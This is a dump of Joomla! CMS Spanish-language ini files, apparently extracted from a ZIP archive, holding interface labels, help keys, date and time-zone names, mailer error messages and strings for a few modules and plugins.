JHELP_COMPONENTS_WEBLINKS_CATEGORY_EDIT="Components_Weblinks_Categories_Edit" JHELP_COMPONENTS_WEBLINKS_LINKS="Components_Weblinks_Links" JHELP_COMPONENTS_WEBLINKS_LINKS_EDIT="Components_Weblinks_Links_Edit" JHELP_CONTENT_ARTICLE_MANAGER="Content_Article_Manager" JHELP_CONTENT_ARTICLE_MANAGER_EDIT="Content_Article_Manager_Edit" JHELP_CONTENT_FEATURED_ARTICLES="Content_Featured_Articles" JHELP_CONTENT_MEDIA_MANAGER="Content_Media_Manager" JHELP_EXTENSIONS_EXTENSION_MANAGER_DATABASE="Extensions_Extension_Manager_Database" JHELP_EXTENSIONS_EXTENSION_MANAGER_DISCOVER="Extensions_Extension_Manager_Discover" JHELP_EXTENSIONS_EXTENSION_MANAGER_INSTALL="Extensions_Extension_Manager_Install" JHELP_EXTENSIONS_EXTENSION_MANAGER_LANGUAGES="Extensions_Extension_Manager_languages" JHELP_EXTENSIONS_EXTENSION_MANAGER_MANAGE="Extensions_Extension_Manager_Manage" JHELP_EXTENSIONS_EXTENSION_MANAGER_UPDATE="Extensions_Extension_Manager_Update" JHELP_EXTENSIONS_EXTENSION_MANAGER_WARNINGS="Extensions_Extension_Manager_Warnings" JHELP_EXTENSIONS_LANGUAGE_MANAGER_CONTENT="Extensions_Language_Manager_Content" JHELP_EXTENSIONS_LANGUAGE_MANAGER_EDIT="Extensions_Language_Manager_Edit" JHELP_EXTENSIONS_LANGUAGE_MANAGER_INSTALLED="Extensions_Language_Manager_Installed" JHELP_EXTENSIONS_LANGUAGE_MANAGER_OVERRIDES="Extensions_Language_Manager_Overrides" JHELP_EXTENSIONS_LANGUAGE_MANAGER_OVERRIDES_EDIT="Extensions_Language_Manager_Overrides_Edit" JHELP_EXTENSIONS_MODULE_MANAGER="Extensions_Module_Manager" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_CUSTOM="Extensions_Module_Manager_Admin_Custom" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_FEED="Extensions_Module_Manager_Admin_Feed" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_LATEST="Extensions_Module_Manager_Admin_Latest" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_LOGGED="Extensions_Module_Manager_Admin_Logged" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_LOGIN="Extensions_Module_Manager_Admin_Login" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_MENU="Extensions_Module_Manager_Admin_Menu" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_MULTILANG="Extensions_Module_Manager_Admin_Multilang" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_ONLINE="Extensions_Module_Manager_Admin_Online" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_POPULAR="Extensions_Module_Manager_Admin_Popular" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_QUICKICON="Extensions_Module_Manager_Admin_Quickicon" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_STATUS="Extensions_Module_Manager_Admin_Status" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_SUBMENU="Extensions_Module_Manager_Admin_Submenu" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_TITLE="Extensions_Module_Manager_Admin_Title" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_TOOLBAR="Extensions_Module_Manager_Admin_Toolbar" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_UNREAD="Extensions_Module_Manager_Admin_Unread" JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_ARCHIVE="Extensions_Module_Manager_Articles_Archive" JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_CATEGORIES="Extensions_Module_Manager_Articles_Categories" JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_CATEGORY="Extensions_Module_Manager_Articles_Category" JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_NEWSFLASH="Extensions_Module_Manager_Articles_Newsflash" JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_RELATED="Extensions_Module_Manager_Articles_Related" JHELP_EXTENSIONS_MODULE_MANAGER_BANNERS="Extensions_Module_Manager_Banners" JHELP_EXTENSIONS_MODULE_MANAGER_BREADCRUMBS="Extensions_Module_Manager_Breadcrumbs" JHELP_EXTENSIONS_MODULE_MANAGER_CUSTOM_HTML="Extensions_Module_Manager_Custom_HTML" JHELP_EXTENSIONS_MODULE_MANAGER_EDIT="Extensions_Module_Manager_Edit" JHELP_EXTENSIONS_MODULE_MANAGER_FEED_DISPLAY="Extensions_Module_Manager_Feed_Display" JHELP_EXTENSIONS_MODULE_MANAGER_FOOTER="Extensions_Module_Manager_Footer" JHELP_EXTENSIONS_MODULE_MANAGER_LANGUAGE_SWITCHER="Extensions_Module_Manager_Language_Switcher" JHELP_EXTENSIONS_MODULE_MANAGER_LATEST_NEWS="Extensions_Module_Manager_Latest_News" JHELP_EXTENSIONS_MODULE_MANAGER_LATEST_USERS="Extensions_Module_Manager_Latest_Users" JHELP_EXTENSIONS_MODULE_MANAGER_LOGIN="Extensions_Module_Manager_Login" JHELP_EXTENSIONS_MODULE_MANAGER_MENU="Extensions_Module_Manager_Menu" JHELP_EXTENSIONS_MODULE_MANAGER_MOST_READ="Extensions_Module_Manager_Most_Read" JHELP_EXTENSIONS_MODULE_MANAGER_RANDOM_IMAGE="Extensions_Module_Manager_Random_Image" JHELP_EXTENSIONS_MODULE_MANAGER_SEARCH="Extensions_Module_Manager_Search" JHELP_EXTENSIONS_MODULE_MANAGER_SMART_SEARCH="Extensions_Module_Manager_Smart_Search" JHELP_EXTENSIONS_MODULE_MANAGER_STATISTICS="Extensions_Module_Manager_Statistics" JHELP_EXTENSIONS_MODULE_MANAGER_SYNDICATION_FEEDS="Extensions_Module_Manager_Syndication_Feeds" JHELP_EXTENSIONS_MODULE_MANAGER_WEBLINKS="Extensions_Module_Manager_Weblinks" JHELP_EXTENSIONS_MODULE_MANAGER_WHO_ONLINE="Extensions_Module_Manager_Who_Online" JHELP_EXTENSIONS_MODULE_MANAGER_WRAPPER="Extensions_Module_Manager_Wrapper" JHELP_EXTENSIONS_PLUGIN_MANAGER="Extensions_Plugin_Manager" JHELP_EXTENSIONS_PLUGIN_MANAGER_EDIT="Extensions_Plugin_Manager_Edit" JHELP_EXTENSIONS_TEMPLATE_MANAGER_STYLES="Extensions_Template_Manager_Styles" JHELP_EXTENSIONS_TEMPLATE_MANAGER_STYLES_EDIT="Extensions_Template_Manager_Styles_Edit" JHELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES="Extensions_Template_Manager_Templates" JHELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES_EDIT="Extensions_Template_Manager_Templates_Edit" JHELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES_EDIT_SOURCE="Extensions_Template_Manager_Templates_Edit_Source" JHELP_GLOSSARY="Glossary" JHELP_MENUS_MENU_ITEM_ARTICLE_ARCHIVED="Menus_Menu_Item_Article_Archived" JHELP_MENUS_MENU_ITEM_ARTICLE_CATEGORIES="Menus_Menu_Item_Article_Categories" JHELP_MENUS_MENU_ITEM_ARTICLE_CATEGORY_BLOG="Menus_Menu_Item_Article_Category_Blog" JHELP_MENUS_MENU_ITEM_ARTICLE_CATEGORY_LIST="Menus_Menu_Item_Article_Category_List" JHELP_MENUS_MENU_ITEM_ARTICLE_CREATE="Menus_Menu_Item_Article_Create" JHELP_MENUS_MENU_ITEM_ARTICLE_FEATURED="Menus_Menu_Item_Article_Featured" JHELP_MENUS_MENU_ITEM_ARTICLE_SINGLE_ARTICLE="Menus_Menu_Item_Article_Single_Article" JHELP_MENUS_MENU_ITEM_CONTACT_CATEGORIES="Menus_Menu_Item_Contact_Categories" JHELP_MENUS_MENU_ITEM_CONTACT_CATEGORY="Menus_Menu_Item_Contact_Category" JHELP_MENUS_MENU_ITEM_CONTACT_FEATURED="Menus_Menu_Item_Contact_Featured" JHELP_MENUS_MENU_ITEM_CONTACT_SINGLE_CONTACT="Menus_Menu_Item_Contact_Single_Contact" JHELP_MENUS_MENU_ITEM_EXTERNAL_URL="Menus_Menu_Item_External_URL" JHELP_MENUS_MENU_ITEM_FINDER_SEARCH="Menus_Menu_Item_Finder_Search" JHELP_MENUS_MENU_ITEM_MANAGER="Menus_Menu_Item_Manager" JHELP_MENUS_MENU_ITEM_MANAGER_EDIT="Menus_Menu_Item_Manager_Edit" JHELP_MENUS_MENU_ITEM_MENU_ITEM_ALIAS="Menus_Menu_Item_Menu_Item_Alias" JHELP_MENUS_MENU_ITEM_NEWSFEED_CATEGORIES="Menus_Menu_Item_Newsfeed_Categories" JHELP_MENUS_MENU_ITEM_NEWSFEED_CATEGORY="Menus_Menu_Item_Newsfeed_Category" JHELP_MENUS_MENU_ITEM_NEWSFEED_SINGLE_NEWSFEED="Menus_Menu_Item_Newsfeed_Single_Newsfeed" JHELP_MENUS_MENU_ITEM_SEARCH_RESULTS="Menus_Menu_Item_Search_Results" JHELP_MENUS_MENU_ITEM_TEXT_SEPARATOR="Menus_Menu_Item_Text_Separator" JHELP_MENUS_MENU_ITEM_USER_LOGIN="Menus_Menu_Item_User_Login" JHELP_MENUS_MENU_ITEM_USER_PASSWORD_RESET="Menus_Menu_Item_User_Password_Reset" JHELP_MENUS_MENU_ITEM_USER_PROFILE="Menus_Menu_Item_User_Profile" JHELP_MENUS_MENU_ITEM_USER_PROFILE_EDIT="Menus_Menu_Item_User_Profile_Edit" JHELP_MENUS_MENU_ITEM_USER_REGISTRATION="Menus_Menu_Item_User_Registration" JHELP_MENUS_MENU_ITEM_USER_REMINDER="Menus_Menu_Item_User_Reminder" JHELP_MENUS_MENU_ITEM_WEBLINK_CATEGORIES="Menus_Menu_Item_Weblink_Categories" JHELP_MENUS_MENU_ITEM_WEBLINK_CATEGORY="Menus_Menu_Item_Weblink_Category" JHELP_MENUS_MENU_ITEM_WEBLINK_SUBMIT="Menus_Menu_Item_Weblink_Submit" JHELP_MENUS_MENU_ITEM_WRAPPER="Menus_Menu_Item_Wrapper" JHELP_MENUS_MENU_MANAGER="Menus_Menu_Manager" JHELP_MENUS_MENU_MANAGER_EDIT="Menus_Menu_Manager_Edit" JHELP_SITE_GLOBAL_CONFIGURATION="Site_Global_Configuration" JHELP_SITE_MAINTENANCE_CLEAR_CACHE="Site_Maintenance_Clear_Cache" JHELP_SITE_MAINTENANCE_GLOBAL_CHECK-IN="Site_Maintenance_Global_Check-in" JHELP_SITE_MAINTENANCE_PURGE_EXPIRED_CACHE="Site_Maintenance_Purge_Expired_Cache" JHELP_SITE_SYSTEM_INFORMATION="Site_System_Information" JHELP_START_HERE="Start_Here" JHELP_USERS_ACCESS_LEVELS="Users_Access_Levels" JHELP_USERS_ACCESS_LEVELS_EDIT="Users_Access_Levels_Edit" JHELP_USERS_DEBUG_GROUPS="Users_Debug_Groups" JHELP_USERS_DEBUG_USERS="Users_Debug_Users" JHELP_USERS_GROUPS="Users_Groups" JHELP_USERS_GROUPS_EDIT="Users_Groups_Edit" JHELP_USERS_MASS_MAIL_USERS="Users_Mass_Mail_Users" JHELP_USERS_USER_MANAGER="Users_User_Manager" JHELP_USERS_USER_MANAGER_EDIT="Users_User_Manager_Edit" JHELP_USERS_USER_NOTES="Users_User_Notes" JHELP_USERS_USER_NOTES_EDIT="Users_User_Notes_Edit" ; if there is an error connecting database before initialization, en-GB.lib_joomla.ini can't be loaded ; we therefore have to load the strings from en-GB.ini JLIB_DATABASE_ERROR_ADAPTER_MYSQL="El adaptador 'mysql' de MySQL no está disponible." JLIB_DATABASE_ERROR_ADAPTER_MYSQLI="El adaptador 'mysqli' de MySQL no está disponible." JLIB_DATABASE_ERROR_CONNECT_DATABASE="No se ha podido conectar a la base de datos: %s" JLIB_DATABASE_ERROR_CONNECT_MYSQL="No se ha podido conectar a MySQL." JLIB_DATABASE_ERROR_DATABASE_CONNECT="No se ha podido conectar a la base de datos" JLIB_DATABASE_ERROR_LOAD_DATABASE_DRIVER="No se ha podido cargar el controlador de la base de datos: %s" JLIB_ERROR_INFINITE_LOOP="Se ha detectado un bucle infinito en el 'JError'" JOPTION_ACCESS_SHOW_ALL_ACCESS="Mostrar todos los accesos" JOPTION_ACCESS_SHOW_ALL_GROUPS="Mostrar todos los grupos" JOPTION_ACCESS_SHOW_ALL_LEVELS="Mostrar todos los niveles de acceso" JOPTION_ALL_CATEGORIES="- Todas las categorías -" JOPTION_ANY_CATEGORY="Cualquier categoría" JOPTION_ANY="cualquiera" JOPTION_DO_NOT_USE="- No seleccionado -" JOPTION_FROM_COMPONENT="---Desde el componente---" JOPTION_FROM_MODULE="---Desde el módulo---" JOPTION_FROM_TEMPLATE="---Desde %s plantilla---" JOPTION_FROM_STANDARD="---Desde las opciones globales---" JOPTION_MENUS="Menús" JOPTION_NO_USER="- Sin usuario -" JOPTION_OPTIONAL="Opcional" JOPTION_ORDER_FIRST="Primero" JOPTION_ORDER_LAST="Último" JOPTION_REQUIRED="Obligatorio" JOPTION_SELECT_ACCESS="- Seleccionar acceso -" JOPTION_SELECT_AUTHOR_ALIAS="- Seleccionar alias del autor -" JOPTION_SELECT_AUTHOR_ALIASES="- Seleccionar alias de los autores -" JOPTION_SELECT_AUTHOR="- Seleccionar autor -" JOPTION_SELECT_AUTHORS="- Seleccionar autores -" JOPTION_SELECT_CATEGORY="- Seleccionar categoría -" JOPTION_SELECT_EDITOR="- Seleccionar editor -" JOPTION_SELECT_IMAGE="- Seleccionar imagen -" JOPTION_SELECT_LANGUAGE="- Seleccionar idioma -" JOPTION_SELECT_MENU="- Seleccionar menú -" JOPTION_SELECT_MENU_ITEM="- Seleccionar elemento del menú -" JOPTION_SELECT_PUBLISHED="- Seleccionar estado -" JOPTION_SELECT_TEMPLATE="- Seleccionar plantilla -" JOPTION_SELECT_MAX_LEVELS="- Seleccionar niveles máximos -" JOPTION_UNASSIGNED="No asignado" JOPTION_USE_DEFAULT_MODULE_SETTING="- Usar la predeterminada del módulo -" JOPTION_USE_DEFAULT="- Usar la predeterminada -" JOPTION_USE_MENU_REQUEST_SETTING="- Usar la solicitada desde el menú -" JSEARCH_FILTER_LABEL="Filtro:" JSEARCH_FILTER_CLEAR="Limpiar" JSEARCH_FILTER_SUBMIT="Buscar" JSEARCH_FILTER="Buscar" JSEARCH_TITLE="Buscar %s" JSEARCH_RESET="Restablecer" JTOOLBAR_APPLY="Guardar" JTOOLBAR_ARCHIVE="Archivar" JTOOLBAR_ASSIGN="Asignar" JTOOLBAR_BACK="Volver" JTOOLBAR_CANCEL="Cancelar" JTOOLBAR_CHECKIN="Desbloquear" JTOOLBAR_CLOSE="Cerrar" JTOOLBAR_DEFAULT="Predeterminado" JTOOLBAR_DELETE="Borrar" JTOOLBAR_DISABLE="Deshabilitar" JTOOLBAR_DUPLICATE="Duplicar" JTOOLBAR_EDIT="Editar" JTOOLBAR_EDIT_CSS="Editar CSS" JTOOLBAR_EDIT_HTML="Editar HTML" JTOOLBAR_EMPTY_TRASH="Vaciar la papelera" JTOOLBAR_ENABLE="Habilitar" JTOOLBAR_EXPORT="Exportar" JTOOLBAR_HELP="Ayuda" JTOOLBAR_INSTALL="Instalar" JTOOLBAR_NEW="Nuevo" JTOOLBAR_OPTIONS="Opciones" JTOOLBAR_PUBLISH="Publicar" JTOOLBAR_PURGE_CACHE="Purgar la caché" JTOOLBAR_REBUILD="Reconstruir" JTOOLBAR_REFRESH_CACHE="Actualizar la caché" JTOOLBAR_REMOVE="Eliminar" JTOOLBAR_SAVE="Guardar y cerrar" JTOOLBAR_SAVE_AND_NEW="Guardar y nuevo" JTOOLBAR_SAVE_AS_COPY="Guardar como copia" JTOOLBAR_UNARCHIVE="Desarchivar" JTOOLBAR_UNINSTALL="Desinstalar" JTOOLBAR_UNPUBLISH="Despublicar" JTOOLBAR_UPLOAD="Subir" JTOOLBAR_TRASH="Papelera" JTOOLBAR_REBUILD_SUCCESS="La reconstrucción ha sido realizada correctamente" JWARNING_PUBLISH_MUST_SELECT="Como mínimo, debe seleccionar un elemento a publicar." JWARNING_ARCHIVE_MUST_SELECT="Como mínimo, debe seleccionar un elemento a archivar." JWARNING_UNPUBLISH_MUST_SELECT="Como mínimo, debe seleccionar un elemento a despublicar." JWARNING_TRASH_MUST_SELECT="Como mínimo, debe seleccionar un elemento a borrar." JWARNING_DELETE_MUST_SELECT="Como mínimo, debe seleccionar un elemento a borrar permanentemente." JWARNING_REMOVE_ROOT_USER="Está conectado usando el usuario de emergencia, configurado desde el archivo 'configuration.php'
            Con la finalidad de evitar futuras brechas de seguridad, debe eliminar al usuario '$root_user' del archivo 'configuration.php' tan pronto como haya conseguido restaurar el control sobre su sitio.
            Haga clic aquí para intentarlo automáticamente." ; Date format DATE_FORMAT_LC="l, d F Y" DATE_FORMAT_LC1="l, d F Y" DATE_FORMAT_LC2="l, d F Y H:i" DATE_FORMAT_LC3="d F Y" DATE_FORMAT_LC4="d-m-Y" DATE_FORMAT_JS1="d-m-y" ; Months JANUARY_SHORT="Ene" JANUARY="Enero" FEBRUARY_SHORT="Feb" FEBRUARY="Febrero" MARCH_SHORT="Mar" MARCH="Marzo" APRIL_SHORT="Abr" APRIL="Abril" MAY_SHORT="May" MAY="Mayo" JUNE_SHORT="Jun" JUNE="Junio" JULY_SHORT="Jul" JULY="Julio" AUGUST_SHORT="Ago" AUGUST="Agosto" SEPTEMBER_SHORT="Sep" SEPTEMBER="Septiembre" OCTOBER_SHORT="Oct" OCTOBER="Octubre" NOVEMBER_SHORT="Nov" NOVEMBER="Noviembre" DECEMBER_SHORT="Dic" DECEMBER="Diciembre" ; Days of the Week SAT="Sáb" SATURDAY="Sábado" SUN="Dom" SUNDAY="Domingo" MON="Lun" MONDAY="Lunes" TUE="Mar" TUESDAY="Martes" WED="Mié" WEDNESDAY="Miércoles" THU="Jue" THURSDAY="Jueves" FRI="Vie" FRIDAY="Viernes" ; Time Zones TIME_ZONE="Zona horaria" UTC__12_00__INTERNATIONAL_DATE_LINE_WEST="(UTC -12:00) Horario internacional línea del Oeste" UTC__11_00__MIDWAY_ISLAND__SAMOA="(UTC -11:00) Islas Midway, Samoa" UTC__10_00__HAWAII="(UTC -10:00) Hawai" UTC__09_30__TAIOHAE__MARQUESAS_ISLANDS="(UTC -09:30) Taiohae, Islas Marquesas" UTC__09_00__ALASKA="(UTC -09:00) Alaska" UTC__08_00__PACIFIC_TIME__US__AMP__CANADA_="(UTC -08:00) Hora del Pacífico (US & Canadá)" UTC__07_00__MOUNTAIN_TIME__US__AMP__CANADA_="(UTC -07:00) Horario de montaña Time (US & Canadá)" UTC__06_00__CENTRAL_TIME__US__AMP__CANADA___MEXICO_CITY="(UTC -06:00) Horario central (US & Canadá), Ciudad de México" UTC__05_00__EASTERN_TIME__US__AMP__CANADA___BOGOTA__LIMA="(UTC -05:00) Eastern Time (US & Canadá), Bogotá, Lima" UTC__04_30__VENEZUELA="(UTC -04:30) Venezuela" UTC__04_00__ATLANTIC_TIME__CANADA___CARACAS__LA_PAZ="(UTC -04:00) Horario del atlántico (Canadá), Caracas, La Paz" UTC__03_30__ST__JOHN_S__NEWFOUNDLAND__LABRADOR="(UTC -03:30) St. John's, Terranova, Labrador" UTC__03_00__BRAZIL__BUENOS_AIRES__GEORGETOWN="(UTC -03:00) Brasil, Buenos Aires, Georgetown" UTC__02_00__MID_ATLANTIC="(UTC -02:00) Atlántico medio" UTC__01_00__AZORES__CAPE_VERDE_ISLANDS="(UTC -01:00) Azores, Islas Cape" UTC_00_00__WESTERN_EUROPE_TIME__LONDON__LISBON__CASABLANCA="(UTC 00:00) Horario del oeste de Europa, Londres, Lisboa, Casablanca" UTC__01_00__AMSTERDAM__BERLIN__BRUSSELS__COPENHAGEN__MADRID__PARIS="(UTC +01:00) Amsterdam, Berlín, Bruselas, Copenhagen, Madrid, París" UTC__02_00__ISTANBUL__JERUSALEM__KALININGRAD__SOUTH_AFRICA="(UTC +02:00) Estambul, Jerusalén, Kaliningrado, Sur de África" UTC__03_00__BAGHDAD__RIYADH__MOSCOW__ST__PETERSBURG="(UTC +03:00) Bagdad, Riad, Moscú, San Petersburgo" UTC__03_30__TEHRAN="(UTC +03:30) Teherán" UTC__04_00__ABU_DHABI__MUSCAT__BAKU__TBILISI="(UTC +04:00) Abu Dabi, Mascate, Baku, Tiflis" UTC__04_30__KABUL="(UTC +04:30) Kabul" UTC__05_00__EKATERINBURG__ISLAMABAD__KARACHI__TASHKENT="(UTC +05:00) Ekaterinburgo, Islamabad, Karachi, Tashkent" UTC__05_30__BOMBAY__CALCUTTA__MADRAS__NEW_DELHI__COLOMBO="(UTC +05:30) Bombay, Calcuta, Madrás, Nueva Delhi, Colombo" UTC__05_45__KATHMANDU="(UTC +05:45) Katmandú" UTC__06_00__ALMATY__DHAKA="(UTC +06:00) Almaty, Daca" UTC__06_30__YAGOON="(UTC +06:30) Rangún" UTC__07_00__BANGKOK__HANOI__JAKARTA__PHNOM_PENH="(UTC +07:00) Bangkok, Hanói, Yakarta, Phnom Penh" UTC__08_00__BEIJING__PERTH__SINGAPORE__HONG_KONG="(UTC +08:00) Beijing, Perth, Singapur, Hong Kong" UTC__08_00__WESTERN_AUSTRALIA="(UTC +08:00) Oeste de Australia" UTC__09_00__TOKYO__SEOUL__OSAKA__SAPPORO__YAKUTSK="(UTC +09:00) Tokio, Seúl, Osaka, Sapporo, Yakutsk" UTC__09_30__ADELAIDE__DARWIN__YAKUTSK="(UTC +09:30) Adelaida, Darwin, Yakutsk" UTC__10_00__EASTERN_AUSTRALIA__GUAM__VLADIVOSTOK="(UTC +10:00) Este de Australia, Guam, Vladivostok" UTC__10_30__LORD_HOWE_ISLAND__AUSTRALIA_="(UTC +10:30) Isla de Lord Howe (Australia)" UTC__11_00__MAGADAN__SOLOMON_ISLANDS__NEW_CALEDONIA="(UTC +11:00) Magadán, Islas Salomón, Nueva Caledonia" UTC__11_30__NORFOLK_ISLAND="(UTC +11:30) Isla Norfolk" UTC__12_00__AUCKLAND__WELLINGTON__FIJI__KAMCHATKA="(UTC +12:00) Auckland, Wellington, Fiji, Kamchatka" UTC__12_45__CHATHAM_ISLAND="(UTC +12:45) Islas Chatham" UTC__13_00__TONGA="(UTC +13:00) Tonga" UTC__14_00__KIRIBATI="(UTC +14:00) Kiribati" ; Mailer Codes PHPMAILER_PROVIDE_ADDRESS="Debe proporcionar, como mínimo, una dirección de destinatario del correo electrónico." PHPMAILER_MAILER_IS_NOT_SUPPORTED=" 'Mailer' no está soportado." PHPMAILER_EXECUTE="No se ha podido ejecutar: " PHPMAILER_INSTANTIATE="No se ha podido instancializar la función de correo." PHPMAILER_AUTHENTICATE="¡Error SMTP! No se ha podido autentificar." PHPMAILER_FROM_FAILED="El siguiente destinatario ha fallado: " PHPMAILER_RECIPIENTS_FAILED="¡Error SMTP! Los siguientes destinatarios han fallado: " PHPMAILER_DATA_NOT_ACCEPTED="¡Error SMTP! Datos no aceptados." PHPMAILER_CONNECT_HOST="¡Error SMTP! No se ha podido conectar con el servidor SMTP." PHPMAILER_FILE_ACCESS="No se ha podido acceder al archivo: " PHPMAILER_FILE_OPEN="Error de archivo. No se ha podido abrir el archivo: " PHPMAILER_ENCODING="Codificación desconocida: " PHPMAILER_SIGNING_ERROR="Error firmando: " PHPMAILER_SMTP_ERROR="Error del servidor SMTP: " PHPMAILER_EMPTY_MESSAGE="Cuerpo del mensaje vacío" PHPMAILER_INVALID_ADDRESS="Dirección inválida" PHPMAILER_VARIABLE_SET="No se puede asignar o reiniciar la variable: " PHPMAILER_SMTP_CONNECT_FAILED="Conexión SMTP fallida" PHPMAILER_TLS="No se puede iniciar el servicio TLS" PK@y>\)language/es-ES/.htaccessnuW+A Order allow,deny Deny from all PK@y>\8k4language/es-ES/es-ES.plg_authentication_ldap.sys.ininuW+A; $Id: es-ES.plg_authentication_ldap.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_AUTHENTICATION_LDAP="Autentificación - LDAP" PLG_LDAP_XML_DESCRIPTION="Gestiona la autentificación de usuario frente a un servidor LDAP
            ¡Advertencia! Debe tener al menos un plugin de autentificación habilitado o perderá todo el acceso al sitio." PK@y>\J  &language/es-ES/es-ES.mod_quickicon.ininuW+A; $Id: es-ES.mod_quickicon.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! MOD_QUICKICON="Enlaces rápidos" MOD_QUICKICON_ADD_NEW_ARTICLE="Añadir nuevo artículo" MOD_QUICKICON_ARTICLE_MANAGER="Gestor de artículos" MOD_QUICKICON_CATEGORY_MANAGER="Gestor de categorías" MOD_QUICKICON_EXTENSION_MANAGER="Gestor de extensiones" MOD_QUICKICON_FRONTPAGE_MANAGER="Gestor de la página de inicio" MOD_QUICKICON_GLOBAL_CONFIGURATION="Configuración global" MOD_QUICKICON_GROUP_DESC="El grupo de este módulo (este valor se compara con el usado como valor del grupo en los plugins del tipo Acceso rápido para inyectar iconos). El grupo 'mod_quickicon' siempre muestra los iconos del núcleo de Joomla!" MOD_QUICKICON_GROUP_LABEL="Grupo" MOD_QUICKICON_LANGUAGE_MANAGER="Gestor de idiomas" MOD_QUICKICON_MEDIA_MANAGER="Gestor multimedia" MOD_QUICKICON_MENU_MANAGER="Gestor de menús" MOD_QUICKICON_MODULE_MANAGER="Gestor de módulos" MOD_QUICKICON_PROFILE="Editar perfil" MOD_QUICKICON_TEMPLATE_MANAGER="Gestor de plantillas" MOD_QUICKICON_TITLE="Enlaces rápidos" MOD_QUICKICON_USER_MANAGER="Gestor de usuarios" MOD_QUICKICON_XML_DESCRIPTION="Este módulo muestra los enlaces rápidos que son visibles desde el panel de control (En la página de inicio de la zona de la administración)" PK@y>\MPi&language/es-ES/es-ES.tpl_bluestork.ininuW+A; $Id: es-ES.tpl_bluestork.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! TPL_BLUESTORK_FIELD_CONTRAST_DESC="Incrementar el contraste para una mejor lectura" TPL_BLUESTORK_FIELD_CONTRAST_LABEL="Alto contraste" TPL_BLUESTORK_FIELD_SITENAME_DESC="Mostrar el nombre del sitio en lugar del generico 'Administración' en el encabezado de la plantilla." TPL_BLUESTORK_FIELD_SITENAME_LABEL="Mostrar nombre del sitio" TPL_BLUESTORK_FIELD_TEXTBIG_DESC="Incrementar el tamaño de los caracteres (letras, números, símbolos, etc) del texto para una mejor lectura" TPL_BLUESTORK_FIELD_TEXTBIG_LABEL="Aumentar caracteres" TPL_BLUESTORK_HEADER="Administración" TPL_BLUESTORK_XML_DESCRIPTION="

            BlueStork es una plantilla para la administración de Joomla

            " PK@y>\%S 2language/es-ES/es-ES.plg_system_languagefilter.ininuW+A; $Id: es-ES.plg_system_languagefilter.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_SYSTEM_LANGUAGEFILTER="Sistema - Filtrar idiomas" PLG_SYSTEM_LANGUAGEFILTER_BROWSER_SETTINGS="Configuración del navegador" PLG_SYSTEM_LANGUAGEFILTER_FIELD_ALTERNATE_META_DESC="Añadir metaetiquetas alternativas para los elementos del menú con elementos del menú asociados a otros idiomas." PLG_SYSTEM_LANGUAGEFILTER_FIELD_ALTERNATE_META_LABEL="Añadir metaetiquetas alternativas" PLG_SYSTEM_LANGUAGEFILTER_FIELD_AUTOMATIC_CHANGE_DESC="Esta opción cambiará automáticamente el idioma del contenido en el sitio, cuando se cambie el idioma del usuario desde el sitio" PLG_SYSTEM_LANGUAGEFILTER_FIELD_AUTOMATIC_CHANGE_LABEL="Cambio automático del idioma" PLG_SYSTEM_LANGUAGEFILTER_FIELD_COOKIE_DESC="Las 'cooquies' del idioma se pueden configurar para que expiren dentro de un año o cuando termine la sesión. Predeterminadamente expirarán después de un año." PLG_SYSTEM_LANGUAGEFILTER_FIELD_COOKIE_LABEL="duración de la 'Cookie'" PLG_SYSTEM_LANGUAGEFILTER_FIELD_DETECT_BROWSER_DESC="Elija el idioma predeterminado del sitio o permita que se intente detectar la configuración del idioma del navegador. Si no se puede encontrar el idioma del navegador, se usará el idioma predeterminado del sitio." PLG_SYSTEM_LANGUAGEFILTER_FIELD_DETECT_BROWSER_LABEL="Selección del idioma para visitantes nuevos." PLG_SYSTEM_LANGUAGEFILTER_FIELD_MENU_ASSOCIATIONS_DESC="Esta opción permite asociaciones de menú cuando se cambia de un idioma a otro" PLG_SYSTEM_LANGUAGEFILTER_FIELD_MENU_ASSOCIATIONS_LABEL="Asociaciones de menú" PLG_SYSTEM_LANGUAGEFILTER_FIELD_REMOVE_DEFAULT_PREFIX_DESC="Elimina el código URL del idioma que hay definido como predeterminado para el sitio cuando las URLs SEF están configuradas en 'Sí'." 